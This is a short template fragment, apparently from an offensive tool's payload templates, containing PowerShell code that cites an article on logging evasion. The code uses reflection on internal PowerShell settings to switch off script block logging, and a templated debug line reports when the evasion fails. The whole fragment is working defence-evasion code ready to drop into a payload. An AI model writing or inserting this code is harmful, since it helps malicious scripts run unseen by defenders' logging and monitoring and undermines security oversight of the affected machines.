{# Bypass PowerShell Logging: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ -#}
try {
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")
} catch {
{{'Write-Debug "Logging evasion failed: $_"'|debug}}
}
